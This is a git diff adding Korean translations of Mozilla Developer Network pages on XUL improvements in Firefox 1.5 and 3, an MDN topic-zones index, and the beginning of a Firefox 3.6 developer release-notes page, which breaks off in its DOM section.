+<p>더 많은 정보는 <a href="ko/Using_Firefox_1.5_caching">Using Firefox 1.5 caching</a>를 보세요.</p>
+<h3 id="tabIndex" name="tabIndex"><code>tabIndex</code></h3>
+<p><code>tabIndex</code> 속성은 이제 대다수 요소에 적용됩니다.</p>
+<h3 id=".3Cradiogroup.3E" name=".3Cradiogroup.3E"><code>&lt;radiogroup&gt;</code></h3>
+<p>&lt;radiogroup&gt; 요소에 value 속성을 설정하여 대응하는 값을 갖는 그룹의 &lt;radio&gt; 요소를 선택합니다.</p>
+<h3 id="Dialog:_defaultButton_.EC.86.8D.EC.84.B1" name="Dialog:_defaultButton_.EC.86.8D.EC.84.B1">Dialog: <code>defaultButton</code> 속성</h3>
+<p><code>&lt;dialog&gt;</code> 바인딩은 이제 <code>defaultButton</code> 속성을 지원합니다. 이 속성을 설정하여 다이얼로그의 기본 버튼을 바꿉니다. <code>&lt;dialog&gt;</code> 바인딩 (그 이름을 쓰는)의 버튼 가운데 하나 또는 <code>none</code>으로 설정할 수 있습니다. 버튼이 없는 경우가 기본값으로 설정됩니다.</p>
+<h3 id="Button:_icon_.EC.86.8D.EC.84.B1" name="Button:_icon_.EC.86.8D.EC.84.B1">Button: <code>icon</code> 속성</h3>
+<p>버튼의 icon 속성은 버튼에 어떤 플랫폼에서 쓰이는 재고(stock) 아이콘을 설정하는 데 쓸 수 있습니다. 예컨대 &lt;button icon="help"&gt;는 도움말 아이콘이 있는 버튼을 만듭니다. 이는 대체로 GNOME 시스템에 쓰이며 다음 값들을 쓸 수 있습니다. <code>accept</code>, <code>cancel</code>, <code>help</code>, <code>open</code>, <code>save</code>, <code>find</code>, <code>clear</code>, <code>yes</code>, <code>no</code>, <code>apply</code>, <code>close</code>, <code>print</code>, <code>add</code>, <code>remove</code>, <code>refresh</code>, <code>go-forward</code>, <code>go-back</code>, <code>properties</code>, <code>select-font</code>, <code>select-color</code>, <code>network</code>.</p>
+<h3 id=".3Cmenulist.3E" name=".3Cmenulist.3E"><code>&lt;menulist&gt;</code></h3>
+<p>&lt;menulist&gt;의 아이템은 아이템 레이블과 나란히 추가 설명 글 표시를 허용하는 description 속성을 지원합니다. menulist 수정 메소드인 appendItem과 insertItemAt은 아이템을 이런 식으로 만들 때 추가 설명 인수를 취합니다.</p>
+<h3 id=".3Clistbox.3E" name=".3Clistbox.3E"><code>&lt;listbox&gt;</code></h3>
+<p><code>removeItemAt</code> 메소드는 일찍이 버그 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=236068" title="FIXED: removeItemAt for &lt;listbox> removes wrong item if there is a &lt;listhead>">bug 236068</a>) 때문에 zero-base가 아니었습니다. 이는 Firefox 1.5에서 고쳤고 이 zero-base가 아닌 behaviour에 의존하는 모든 코드는 바뀌어야 합니다.</p>
+<h3 id=".3Cstringbundle.3E" name=".3Cstringbundle.3E"><code>&lt;stringbundle&gt;</code></h3>
+<p>&lt;stringbundle&gt; 요소는 묶음(bundle)의 모든 문자열의 열거형(enumeration)을 검색하는 데 쓰이는 strings 속성이 있습니다.</p>
+<h3 id=".EB.81.8C_.EC.88.98_.EC.9E.88.EB.8A.94_.ED.83.AD" name=".EB.81.8C_.EC.88.98_.EC.9E.88.EB.8A.94_.ED.83.AD">끌 수 있는 탭</h3>
+<p>탭브라우저는 이제 사용자가 탭을 끌어 재배치하는 것을 허용합니다.</p>
+<h3 id=".3Ctabbox.3E" name=".3Ctabbox.3E"><code>&lt;tabbox&gt;</code></h3>
+<p>&lt;tabbox&gt; 요소는 이제 기본으로 선택된 탭을 지정하기 위해 <code>selectedIndex</code> 속성을 지원합니다.</p>
+<h3 id=".EB.8F.99.EC.A0.81.EC.9C.BC.EB.A1.9C_overlay_.EC.8B.A3.EA.B8.B0" name=".EB.8F.99.EC.A0.81.EC.9C.BC.EB.A1.9C_overlay_.EC.8B.A3.EA.B8.B0">동적으로 overlay 싣기</h3>
+<p>XUL은 이제 <code><a href="ko/DOM/document.loadOverlay">document.loadOverlay</a></code> 함수를 써 동적으로 <a href="ko/XUL_Overlays">overlays</a> 싣기(loading)를 지원합니다.</p>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h3>
+ <ul>
+  <li>저자: Neil Deakin</li>
+ </ul>
+</div>
+<p></p>
diff --git a/files/ko/xul_improvements_in_firefox_3/index.html b/files/ko/xul_improvements_in_firefox_3/index.html
new file mode 100644
index 0000000000..9d2daf9cd6
--- /dev/null
+++ b/files/ko/xul_improvements_in_firefox_3/index.html
@@ -0,0 +1,76 @@
+---
+title: XUL improvements in Firefox 3
+slug: XUL_improvements_in_Firefox_3
+tags:
+  - Firefox 3
+  - XUL
+translation_of: Mozilla/Firefox/Releases/3/XUL_improvements_in_Firefox_3
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+<p>Firefox 3는 기존 <a href="/ko/XUL" title="ko/XUL">XUL</a> 요소의 개선과 더불어 다수의 새로운 요소를 제공합니다. 이는 다른 곳에 자세하게 문서화되어 있으며, 이 글은 이러한 개선에 대한 편리한 목록과 자세한 문서에 대한 링크를 제공합니다.</p>
+<h3 id=".EC.83.88.EB.A1.9C.EC.9A.B4_.EC.9A.94.EC.86.8C" name=".EC.83.88.EB.A1.9C.EC.9A.B4_.EC.9A.94.EC.86.8C">새로운 요소</h3>
+<ul>
+ <li>새로운 <code><a href="/ko/XUL/scale" title="ko/XUL/scale">&lt;scale&gt;</a></code> 요소를 이용하면 사용자가 지정된 범위 내의 어떤 값이든지 선택할 수 있는 움직이는 스케일을 생성할 수 있습니다. 예를 들어, 이 위젯은 보통 음량 콘트롤을 만드는데 사용됩니다.</li>
+ <li>텍스트 상자(textboxes)의 속성인 <code>type</code>의 새로운 값인 <code>number</code>는 숫자만 입력할 수 있는 텍스트 상자를 생성합니다. 덧붙여, 화살표 버튼이 한 쪽에 나타나서 값을 한 단계씩 바꾸는데 사용할 수 있습니다.{{ interwiki('wikimo', 'XUL:Specs:NumberBox', '숫자 텍스트 상자에 대한 자세한 정보') }} ({{ Bug(345510) }})</li>
+ <li><code><a href="/ko/XUL/dropmarker" title="ko/XUL/dropmarker">&lt;dropmarker&gt;</a></code> 요소가 추가되었는데 이는 XBL 바인딩을 사용하여 메뉴와 유사한 위젯을 생성하는데 유용합니다. ({{ Bug(348614) }})</li>
+ <li><code><a href="/ko/XUL/spinbuttons" title="ko/XUL/spinbuttons">&lt;spinbuttons&gt;</a></code> 요소가 추가되었는데 XBL 바인딩을 이용한 위젯을 생성할 때 사용할 수 있습니다. ({{ Bug(155053) }})</li>
+ <li><code><a href="/ko/XUL/datepicker" title="ko/XUL/datepicker">&lt;datepicker&gt;</a></code>와 <code><a href="/ko/XUL/timepicker" title="ko/XUL/timepicker">&lt;timepicker&gt;</a></code>는 날짜와 시간을 입력하는데 사용할 수 있습니다. datepicker는 텍스트 상자나 캘린더 그리드와 함께 입력할 수 있도록 <code>type</code> 속성을 지정함으로써 몇 가지 형태로 이용이 가능합니다. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'datepicker에 대한 자세한 정보') }} <a href="/ko/XUL/datepicker" title="ko/XUL/datepicker">Datepicker 정보</a> <a href="/ko/XUL/timepicker" title="ko/XUL/timepicker">Timepicker 정보</a></li>
+ <li><code><a href="/ko/XUL/panel" title="ko/XUL/panel">&lt;panel&gt;</a></code> 요소는 새로운 것으로 메뉴가 아닌 팝업을 위해 설계되었습니다. 이는 어떤 형식의 내용이든지 지원합니다. &lt;menupopup&gt; 요소는 메뉴를 위해 사용합니다. 메뉴는 키보드 탐색을 제공하고 하위 메뉴를 열고 닫는 것을 지원합니다.</li>
+ <li>메뉴와 팝업의 새로운 기능을 설명하는 <a href="/ko/XUL/PopupGuide" title="ko/XUL/PopupGuide">팝업 설명서</a>가 있습니다.</li>
+</ul>
+<h3 id=".ED.8A.B8.EB.A6.AC_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD" name=".ED.8A.B8.EB.A6.AC_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD">트리 개선 사항</h3>
+<ul>
+ <li>트리는 이제 수평으로 스크롤이 됩니다. 열이 이용 가능한 너비에 맞지 않으면 수평 스크롤 막대가 나타납니다. 이는 지정한 열 너비의 합이 이용 가능한 공간보다 더 클 때 발생합니다. 자세한 사항은 {{ Bug(212789) }}를 참고하시기 바랍니다.</li>
+ <li>새로운 선택 스타일을 이용하면 전체 행 대신 셀을 개별적으로 선택할 수 있습니다. 이 선택 스타일을 사용하려면 트리의 <code>seltype</code> 속성을 <code>cell</code>로 선택합니다.</li>
+ <li>트리는 이제 개별 셀의 편집을 지원합니다. 편집 가능한 셀을 두 번 클릭하면 셀의 내용을 편집할 수 있는 텍스트 필드가 나타납니다. 자세한 사항은 {{ interwiki('wikimo', 'XUL:Tree', '여기') }}를 참고하시기 바랍니다.</li>
+</ul>
+<p>See {{ interwiki('wikimo', 'XUL:Tree', 'these notes') }} for details.</p>
+<ul>
+ <li>&lt;treecol&gt; 요소는 이제 <code>overflow</code> 속성을 지원하는데, 이를 true로 지정하면 텍스트가 너무 커서 하나의 셀에 맞지 않을 때 해당 컬럼에 있는 셀의 텍스트가 이웃하는 빈 셀로 확장하는 것을 허용합니다.</li>
+</ul>
+<h3 id=".EB.A9.94.EB.89.B4_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD" name=".EB.A9.94.EB.89.B4_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD">메뉴 개선 사항</h3>
+<ul>
+ <li>이미지를 지정하기 위하여 <code>image</code> 속성이 일관적으로 사용됩니다.</li>
+ <li>menulist에서 항목을 선택하면 <code>select</code> 이벤트가 발생합니다.</li>
+ <li>menulist에 <code>inputField</code>와 <code>editable</code> 속성이 추가되었습니다.</li>
+ <li><code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code>, <code>&lt;menuseparator&gt;</code> 요소는 이제 읽기 전용 <code>selected</code> 속성을 가지는데, 이를 이용하면 &lt;menulist&gt;에서 항목이 선택되었는지 구할 수 있습니다.</li>
+ <li><code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code>, <code>&lt;menuseparator&gt;</code> 요소는 이제 읽기 전용 <code>control</code> 속성을 가지는데, 이는 둘러싸는 &lt;menulist&gt;를 반환합니다.</li>
+ <li><code>&lt;menu&gt;</code>, <code>&lt;menuitem&gt;</code>, <code>&lt;menuseparator&gt;</code> 요소는 이제 <code>accessKey</code>, <code>disabled</code>, <code>crop</code>, <code>image</code>, <code>label</code> 속성을 지원합니다.</li>
+ <li>&lt;menu&gt; 요소는 이제 menuitem을 추가하고 삽입하고 삭제할 수 있는 메소드를 지원합니다. ({{ Bug(372552) }})</li>
+ <li>편집 가능한 menulist는 이제 텍스트 필드의 내부 {{ Interface("nsIEditor") }}를 얻기 위한 <code>editor</code> 속성을 지원합니다.</li>
+ <li>지원하는 플랫폼에서 이제 메뉴를 반투명하게 만들 수 있습니다({{ Bug(70798) }}).</li>
+</ul>
+<h3 id=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.83.81.EC.9E.90_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD" name=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.83.81.EC.9E.90_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD">텍스트 상자 개선 사항</h3>
+<ul>
+ <li><a href="/ko/XUL/textbox" title="ko/XUL/textbox">textbox</a>의 <code>spellcheck</code> 속성을 <code>true</code>로 지정하면 해당 텍스트 상자의 인라인 맞춤법 검사를 활성화합니다.</li>
+ <li><code>&lt;textbox&gt;</code>는 이제 텍스트 상자의 값을 기본 값으로 초기화하는 <code>reset()</code> 메소드를 가지고 있습니다. <code>defaultValue</code> 속성은 텍스트 상자의 기본 값을 구하고 수정하는데 사용할 수 있습니다.</li>
+ <li>이제 텍스트 상자의 내부 {{ Interface("nsIEditor") }}를 얻을 수 있는 <code>editor</code> 속성을 제공합니다.</li>
+ <li><code><a href="/ko/XUL/textbox" title="ko/XUL/textbox">textbox</a></code>는 이제 <code>newlines</code> 속성을 지원하는데, 이는 붙여 넣은 텍스트의 행 나눔을 어떻게 처리할 것인지 지정합니다. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li><code>pasteintact</code> - 모든 것을 그대로 붙입니다.</li>
+   <li><code>pastetofirst</code> - (기본 값) 첫 번째 행 나눔까지만 붙입니다.break</li>
+   <li><code>replacewithspaces</code> - 행 나눔을 공백으로 대체합니다.</li>
+   <li><code>replacewithcommas</code> - 행 나눔을 쉼표로 대체합니다.</li>
+   <li><code>strip</code> - 모든 행 나눔을 제거합니다.</li>
+   <li><code>stripsurroundingwhitespace</code> - 모든 행 나눔과 주변의 공백을 제거합니다.</li>
+  </ul>
+ </li>
+</ul>
+<h3 id=".EA.B8.B0.ED.83.80_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD" name=".EA.B8.B0.ED.83.80_.EA.B0.9C.EC.84.A0_.EC.82.AC.ED.95.AD">기타 개선 사항</h3>
+<ul>
+ <li><code>&lt;button&gt;</code>의 <code>type</code> 속성을 <code>repeat</code>로 설정하면 마우스 버튼을 누르고 있을 때 반복적으로 command 이벤트가 발생하는 버튼을 생성할 수 있습니다.</li>
+ <li><code>&lt;dialog&gt;</code> 요소의 <code><a href="/ko/XUL/Attribute/buttondisabledaccept" title="ko/XUL/Attribute/buttondisabledaccept">buttondisabledaccept</a></code> 속성을 사용하면 승인(OK) 버튼이 초기에 비활성화됩니다.</li>
+ <li><code>&lt;titlebar&gt;</code> 요소는 이제 자식에게 이벤트 전달을 허용하는 <code>allowevents</code> 속성을 지원합니다.</li>
+ <li><code>&lt;splitter&gt;</code> 는 이제 <code>collapse</code> 속성의 추가된 값인 <code>'both'</code>를 지원하는데, 이는 splitter를 드래그할 때 양쪽 모두에 있는 요소를 감출 수 있다는 것을 가리킵니다. <code>substate</code> 속성은 감추는 것이 이전인지 이후인지 지정합니다. ({{ Bug(337955) }})</li>
+ <li><code>&lt;richlistbox&gt;</code> 요소는 이제 다중 선택을 지원합니다. 이를 활성화하려면 <code>seltype</code> 속성을 <code>'multiple'</code>로 지정합니다.</li>
+ <li><code>&lt;radio&gt;</code> 요소는 <code>group</code> 속성을 가지며 이를 라디오 버튼이 속할 <code>&lt;radiogroup&gt;</code>의 아이디로 지정할 수 있습니다. 이는 라디오 버튼을 모두 라디오 그룹 안에 넣는 것으로는 적합하지 않은 방식의 정렬을 가능하게 합니다.</li>
+ <li>메뉴, 패널, 툴팁은 두 가지 추가 메소드인 <code><a href="/ko/XUL/Method/openPopup" title="ko/XUL/Method/openPopup">openPopup()</a></code>와 <code><a href="/ko/XUL/Method/openPopupAtScreen" title="ko/XUL/Method/openPopupAtScreen">openPopupAtScreen()</a></code>를 지원합니다. 사용이 헷갈리는 <code>showPopup()</code> 대신 이 메소드를 사용해야 합니다.</li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a href="/ko/XUL" title="ko/XUL">XUL</a></li>
+ <li><a href="/ko/Firefox_3_for_developers" title="ko/Firefox_3_for_developers">Firefox 3 for developers</a></li>
+</ul>
+<p> </p>
+<p> </p>
+<p>{{ languages( { "en": "en/XUL_improvements_in_Firefox_3", "es": "es/Mejoras_XUL_en_Firefox_3", "fr": "fr/Am\u00e9liorations_XUL_dans_Firefox_3", "ja": "ja/XUL_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/ko/zones/index.html b/files/ko/zones/index.html
new file mode 100644
index 0000000000..792f614f4c
--- /dev/null
+++ b/files/ko/zones/index.html
@@ -0,0 +1,70 @@
+---
+title: Zones
+slug: Zones
+translation_of: Zones
+---
+<p>MDN존은 특정 분야 혹은 제품에 관한 정보를 한 곳에서 보기 쉽게 제공합니다. 다음은 제공되는 모든 분야의 리스트입니다. </p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 id="웹앱_개발">웹,앱 개발</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/Apps">앱 센터</a></dt>
+   <dd>
+    동일한 웹표준과 당신이 알고 있는 개방형 기술 (open technologies)을 이용하여 개방형 웹 앱 개발을 배울 수 있습니다. 이는 다양한 디바이스와 폼팩터에 적용 가능한 풍부한 경험이 될 것입니다.</dd>
+   <dt>
+    <a href="/en-US/docs/Tools">개발자 도구</a></dt>
+   <dd>
+    <span style="line-height: 1.5;">디버그, 테스트, 웹앱, 웹사이트 최적화를 위한 파이어 폭스 개발자 도구를 배울 수 있습니다. </span></dd>
+   <dt>
+    <a href="/en-US/Marketplace">파이어 폭스 마켓 플레이스</a></dt>
+   <dd>
+    <span style="line-height: 1.5;">HTML, CSS, 자바스크립트로 만들어진 웹어플리케이션을 위한 개방형 온라인 마켓 플레이스입니다. 파이어 폭스 마켓플레이스에 어플리케이션을 제출하거나 코드를 이용해 당신의 마켓플레이스를 만들어보세요. </span></dd>
+   <dt>
+    <a href="/en-US/docs/Games">게임 개발</a></dt>
+   <dd>
+    웹 게임을 개발하거나 이미 존재하는 게임을 웹 기술로 이전하고, 당신의 게임을 웹앱으로 바꾸는 방법을 배울 수 있습니다. </dd>
+   <dt>
+    <a href="/en-US/docs/Mozilla/Developer_Program">모질라 개발자 프로그램</a></dt>
+   <dd>
+    <span style="line-height: 1.5;">모질라 개발자 프로그램에 대해 더 알아보세요. 프로그램 멤버십 등록, 뉴스레터 구독, 점점 더 다양해지는 웹개발자를 위한 기능들을 만나볼 수 있습니다.  </span></dd>
+  </dl>
+ </div>
+ <div class="section">
+  <h2 id="Products" name="Products">프로젝트와 제품들</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Emscripten">Emscripten</a></dt>
+   <dd>
+    자바스크립트 컴파일러의 LLVM입니다. 이는 예를 들어 C++ 코드를 어떤 웹브라우저에서도 작동하는 자바스크립트 코드로 컴파일할 수 있도록 할 수 있습니다. </dd>
+   <dt>
+    <a href="/en-US/docs/L20n">L20n</a></dt>
+   <dd>
+    자바스크립트 지역화 프레임워크로 간단한 코드로 자연 언어의 힘을 끌어올릴 수 있습니다.</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN">The MDN project</a></dt>
+   <dd>
+    모질라 개발자 네트워크의 성장은 독자와 컨트리뷰터의 커뮤니티를 통해 이루어집니다. 이 곳에서 사용을 돕고, 공헌하며, MDN에 기반해 코드를 쓰는 방법을 배울 수 있습니다!</dd>
+   <dt>
+    <a href="/en-US/Persona">페르소나(Persona)</a></dt>
+   <dd>
+    모질라가 개발한 새롭고 간단한 개인정보를 보호하는 싱글 사인온 (single-sign in) 시스템으로 사용자의 이메일 주소로 웹사이트에 로그인할 수 있도록하여 비밀번호 관리로 부터 벗어날 수 있게 합니다.</dd>
+  </dl>
+  <h2 id="모질라_기술들">모질라 기술들</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/Add-ons">애드온(Add-On)</a></dt>
+   <dd>
+    모질라 기반의 소프트웨어에 대한 확장기능 추가, 테마, 그리고 플러그인을 만드는 방법에 대해서 배웁니다.</dd>
+   <dt>
+    <a href="/en-US/Firefox">파이어폭스(Firefox)</a></dt>
+   <dd>
+    파이어폭스에 대한 모든 것을 알아봅시다. 어떻게 빌드 , 수정 하는지 그리고 구체적으로 애드온 개발에 대해서 배웁니다.</dd>
+   <dt>
+    <a href="/en-US/Firefox_OS">파이어폭스 OS(Firefox OS)</a></dt>
+   <dd>
+    모질라가 개발한 새로운 모바일 운영체제 입니다.사용자는 설치하여 HTML, CSS, 자바 스크립트 기반의 웹 어플리케이션을 실행할 수 있습니다.</dd>
+  </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/ko/개발자를_위한_firefox_3.6/index.html b/files/ko/개발자를_위한_firefox_3.6/index.html
new file mode 100644
index 0000000000..d6b5b7521f
--- /dev/null
+++ b/files/ko/개발자를_위한_firefox_3.6/index.html
@@ -0,0 +1,261 @@
+---
+title: 개발자를 위한 Firefox 3.6
+slug: 개발자를_위한_Firefox_3.6
+translation_of: Mozilla/Firefox/Releases/3.6
+---
+<p><a class="external" href="http://www.firefox.com/" title="http://www.firefox.com/">Firefox 3.6</a>은 새로운 웹표준, 향상된 퍼포먼스, 그리고 전체적으로 개선된 사용자와 개발자 경험을 제공합니다. 이 페이지에서는 Firefox 3.6의 새로운 기능을 다루는 링크를 제공합니다.</p>
+
+<h2 id="웹사이트와_어플리케이션_개발자를_위하여">웹사이트와 어플리케이션 개발자를 위하여</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<dl>
+ <dt><a href="/en/Using_gradients" title="en/Using
+    gradients">Using gradients</a></dt>
+ <dd>Firefox 3.6 adds support for the proposed <a href="/ko/docs/Web/CSS/-moz-linear-gradient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-linear-gradient</code></a> and <a href="/ko/docs/Web/CSS/-moz-radial-gradient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-radial-gradient</code></a> properties  for <a href="/ko/docs/Web/CSS/background" title="background CSS 속성은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 선언할 때 사용합니다."><code>background</code></a>.</dd>
+ <dt><a href="/en/CSS/Multiple_backgrounds" title="en/CSS/Multiple
+    backgrounds">Multiple backgrounds</a></dt>
+ <dd>The <a href="/ko/docs/Web/CSS/background" title="background CSS 속성은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 선언할 때 사용합니다."><code>background</code></a> property (as well as <a href="/ko/docs/Web/CSS/background-color" title="background-color CSS 속성은 요소의 배경 색을 지정합니다."><code>background-color</code></a>, <a href="/ko/docs/Web/CSS/background-image" title="background-image CSS 속성은 엘리먼트의 배경 이미지를 지정한다. 배경 이미지가 여러개 지정되었다면 먼저 지정된 것 부터 차례로 쌓인다. 처음 지정된 이미지가 가장 먼저 그려지고  마지막으로 지정된 이미지가 가장 나중에 그려진다(마지막에 지정한 이미지가 사용자가 보는 화면과 가장 가깝게 그려진다). borders 속성은 이미지 위에 그려지며 background-color 속성은 이미지 아래에 그려진다."><code>background-image</code></a>, <a href="/ko/docs/Web/CSS/background-position" title="The documentation about this has not yet been written; please consider contributing!"><code>background-position</code></a>, <a href="/ko/docs/Web/CSS/background-repeat" title="The documentation about this has not yet been written; please consider contributing!"><code>background-repeat</code></a>, and <a href="/ko/docs/Web/CSS/background-attachment" title="The documentation about this has not yet been written; please consider contributing!"><code>background-attachment</code></a>) now supports multiple backgrounds. This lets you specify multiple backgrounds that are rendered atop one another in layers.</dd>
+ <dt><a href="/En/CSS/Media_queries#Mozilla-specific_media_features" title="En/CSS/Media
+    queries#Mozilla-specific media features">Mozilla-specific media features</a></dt>
+ <dd>Media features have been added for Mozilla-specific system metrics, so that <a href="/En/CSS/Media_queries" title="En/CSS/Media
+    queries">media queries</a> can be used to more safely check on the availability of features such as touch support.</dd>
+ <dt><a href="/en/CSS/Scaling_background_images" title="en/CSS/Scaling background images">Scaling background images</a></dt>
+ <dd>The <code>background-size </code>property from the <a class="external" href="http://dev.w3.org/csswg/css3-background/" title="http://dev.w3.org/csswg/css3-background/#the-background-size-property">CSS 3 Backgrounds and Borders draft</a> is now supported under the name <a href="/ko/docs/Web/CSS/-moz-background-size" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-background-size</code></a>.</dd>
+ <dt><a href="/en/About_WOFF" title="en/About WOFF">WOFF font support</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/@font-face" title="CSS at-rule 인 @font-face 를 사용하여 웹페이지의 텍스트에 온라인폰트(online fonts)를 적용할 수 있다. @font-face 를 사용하여 웹페이지 제작자가 원하는 폰트를 사용할 수 있게함으로써, 컴퓨터에 설치된 폰트만을 사용해야했던 제약이 없어지게되었다. @font-face at-rule 은 CSS의 top-level에서 뿐 아니라, CSS conditional-group at-rule 안에서도 사용될 수도 있다."><code>@font-face</code></a> now supports the WOFF downloadable font file format.</dd>
+ <dt><a href="/en/CSS/pointer-events" title="en/CSS/pointer-events">Pointer events</a></dt>
+ <dd>The <a href="/ko/docs/Web/CSS/pointer-events" title="pointer-events CSS 속성은, 특정 엘리먼트의 트리거 역할을 설정합니다. '시각적'으로 트리거 역할(hover, active)을 하는 기능 뿐만 아니라, 이벤트 핸들러가 등록 된 상태의 엘리먼트일지라도 이벤트 트리거로서의 역할을 강제로 막을 수 있습니다."><code>pointer-events</code></a> property lets content specify whether or not an element may be the target of mouse pointer events.</dd>
+</dl>
+
+<h4 id="다방면의_CSS_변화">다방면의 CSS 변화</h4>
+
+<ul>
+ <li>The <a href="/en/CSS/length#Relative_length_units" title="en/CSS/length#Relative length units"><code>rem</code></a> length unit from <a class="external" href="http://www.w3.org/TR/css3-values/#lengths" title="http://www.w3.org/TR/css3-values/#lengths">CSS3 Values and Units</a> is now supported. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=472195" title="FIXED: support css3 root em ('rem' or 're') units">bug 472195</a></li>
+ <li><a href="/ko/docs/Web/CSS/image-rendering" title="image-rendering CSS 프로퍼티는 브라우저의 이미지 스케일링 방식에 대한 힌트를 제공합니다. 이 프로퍼티는 엘리먼트 자신에게 적용시킵니다. 스케일링(크기변경)이 안 된 이미지에게는 적용되지 않습니다."><code>image-rendering</code></a> is supported for images, background images, videos and canvases. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=423756" title="FIXED: Request: Switch for authors to turn on/off bilinear filtering when enlarging images">bug 423756</a></li>
+ <li><a href="/ko/docs/Web/CSS/text-align" title="The documentation about this has not yet been written; please consider contributing!"><code>text-align</code></a>:end is now supported. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=299837" title="FIXED: [FIX]add support for text-align: end">bug 299837</a></li>
+ <li>DOM changes to elements using the table <a href="/ko/docs/Web/CSS/display" title="The documentation about this has not yet been written; please consider contributing!"><code>display</code></a> types now work much better.</li>
+ <li>Added <a href="/ko/docs/Web/CSS/:-moz-locale-dir(ltr)" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-locale-dir(ltr)</code></a> and <a href="/ko/docs/Web/CSS/:-moz-locale-dir(rtl)" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-locale-dir(rtl)</code></a> to make it easier to customize layouts based on whether the user interface is being displayed using a left-to-right or a right-to-left locale. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=478416" title="FIXED: Replace chromedir with something more sane">bug 478416</a></li>
+ <li>Added support for the <a href="/ko/docs/Web/CSS/:indeterminate" title="The documentation about this has not yet been written; please consider contributing!"><code>:indeterminate</code></a> pseudo-class, which matches <code>checkbox</code> <a class="internal" href="/En/HTML/Element/Input" title="en/HTML/Element/input"><code>input</code></a> elements whose <code>indeterminate</code> attribute is <code>true</code>.</li>
+ <li>Windowed plugins are no longer displayed in CSS transforms, because they can't be transformed properly by the compositor.</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<dl>
+ <dt><a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Using files from web applications</a></dt>
+ <dd>Support for the new HTML5 File API has been added to Gecko, making it possible for web applications to access local files selected by the user. This includes support for selecting multiple files using the <code>input type="file"</code> HTML element's new <code>multiple</code> attribute.</dd>
+ <dt>HTML5 비디오가 poster frames을 제공합니다</dt>
+ <dd>The <code>poster</code> 속성은 is now supported for the <a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a> element, allowing content to specify a poster frame to be displayed until the video begins to play.</dd>
+ <dt>Checkboxes and radio buttons support the <code>indeterminate</code> property</dt>
+ <dd>HTML <a class="internal" href="/En/HTML/Element/Input" title="en/HTML/Element/input"><code>input</code></a> elements of types <code>checkbox</code> and <code>radio</code> now support the indeterminate property, which allows a third, "indeterminate" state.</dd>
+ <dt>Canvas image smoothing can be controlled</dt>
+ <dd>The new <a class="internal" href="/en/Canvas_tutorial/Using_images#Controlling_image_scaling_behavior" title="en/Canvas tutorial/Using
+    images#Controlling image scaling behavior"><code>mozImageSmoothingEnabled</code></a> property can be used to turn on and off image smoothing when scaling in <a class="internal" href="/en/HTML/Element/canvas" title="en/HTML/Element/canvas"><code>canvas</code></a> elements.</dd>
+ <dt>Asynchronous script execution</dt>
+ <dd>By setting the <code>async</code> attribute on a <a href="/En/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> element, the <code>script</code> will not block loading or display of the rest of the page. Instead the <code>script</code> executes as soon as it is downloaded.</dd>
+</dl>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Gecko 1.9.2 introduces JavaScript 1.8.2, which adds a number of language features from the <a href="/En/JavaScript/ECMAScript_5_support_in_Mozilla" title="https://developer.mozilla.org/En/JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 standard</a>:</p>
+
+<ul>
+ <li><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Date/parse" title="en/Core JavaScript 1.5 Reference/Global
+    Objects/Date/parse"><code>Date.parse()</code></a> can now parse ISO 8601 dates like YYYY-MM-DD.</li>
+ <li>
+  <p>The <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype" title="en/Core JavaScript 1.5 Reference/Global
+    Objects/Function/prototype"><code>prototype</code></a> property of function instances is no longer enumerable.</p>
+ </li>
+</ul>
+
+<h3 id="DOM">DOM</h3>
+
+<dl>
+ <dt>Web workers can now self-terminate</dt>
+ <dd><a href="/En/Using_web_workers" title="En/Using web
